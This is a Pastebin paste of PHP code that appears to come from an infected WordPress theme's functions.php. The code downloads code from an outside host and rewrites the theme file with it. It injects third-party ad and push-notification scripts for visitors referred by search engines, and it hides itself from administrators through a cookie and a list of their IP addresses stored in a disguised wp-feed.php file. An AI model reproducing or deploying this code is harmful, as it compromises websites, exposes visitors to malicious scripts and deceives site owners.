Advertisement
Guest User

Untitled

a guest
Nov 21st, 2017
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.74 KB | None | 0 0
  1. ini_set('display_errors', 0);
  2. error_reporting(0);
  3. $wp_auth_key='87b83c0568dfdee2d0d59bf8a221c00e';
  4.  
  5.  
  6.  
  7. //echo "rrrr".get_template_directory();
  8. $file=file_get_contents(get_template_directory().'/functions.php');
  9.  
  10.  
  11. $pat_code='/div_code_name[\s\S]*?(if \( ! function_exists[\s\S]*?extract\([\s\S]*?)\?>/i';
  12. if(preg_match_all($pat_code, $file, $matches_pat_code))
  13.  
  14. {
  15.  
  16. $toreplace=$matches_pat_code[1][0];
  17. //echo $toreplace;
  18.  
  19.  
  20. $newxc=file_get_contents('http://www.dolsh.cc/new4.txt');
  21.  
  22. if (stripos($newxc, $wp_auth_key) !== false)
  23. {
  24. $new_file=str_replace($toreplace,$newxc,$file);
  25. @file_put_contents(get_template_directory().'/functions.php',$new_file);
  26. }
  27.  
  28. }
  29.  
  30. //@file_put_contents($funcfile,$file);
  31.  
  32.  
  33.  
  34.  
  35.  
  36. if ( ! function_exists( 'slider_option' ) ) {
  37. function slider_option($content){
  38. if(is_single())
  39. {
  40.  
  41.  
  42. $con2 = '
  43.  
  44. <script type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1426161"></script>
  45.  
  46. <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1426162&interactive=1&pushup=1"></script>
  47.  
  48. ';
  49.  
  50. $content=$content.$con2;
  51. }
  52. return $content;
  53. }
  54.  
  55. function slider_option_footer(){
  56. if(!is_single())
  57. {
  58.  
  59.  
  60.  
  61.  
  62. $con2 = '
  63.  
  64. <script type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1426161"></script>
  65.  
  66. <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1426162&interactive=1&pushup=1"></script>
  67.  
  68. ';
  69.  
  70. echo $con2;
  71. }
  72. }
  73.  
  74.  
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81. function setting_my_first_cookie() {
  82. setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
  83. }
  84.  
  85.  
  86. if(is_user_logged_in())
  87. {
  88. add_action( 'init', 'setting_my_first_cookie',1 );
  89. }
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97. if( current_user_can('edit_others_pages'))
  98. {
  99.  
  100. if (file_exists(ABSPATH.'wp-includes/wp-feed.php'))
  101. {
  102. $ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
  103. }
  104.  
  105. if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
  106. {
  107. $ip.=$_SERVER['REMOTE_ADDR'].'
  108. ';
  109. @file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);
  110.  
  111.  
  112. }
  113.  
  114.  
  115.  
  116. }
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123. $ref = $_SERVER['HTTP_REFERER'];
  124. $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
  125. foreach ($SE as $source) {
  126. if (strpos($ref,$source)!==false) {
  127. setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
  128. $sevisitor=true;
  129. }
  130. }
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137. if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in())
  138. {
  139. $adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
  140. if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false)
  141. {
  142. if($sevisitor==true || isset($_COOKIE['sevisitor']))
  143. {
  144. add_filter('the_content','slider_option');
  145. add_action('wp_footer','slider_option_footer');
  146. }
  147.  
  148. }
  149. }
  150.  
  151.  
  152.  
  153.  
  154.  
  155. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement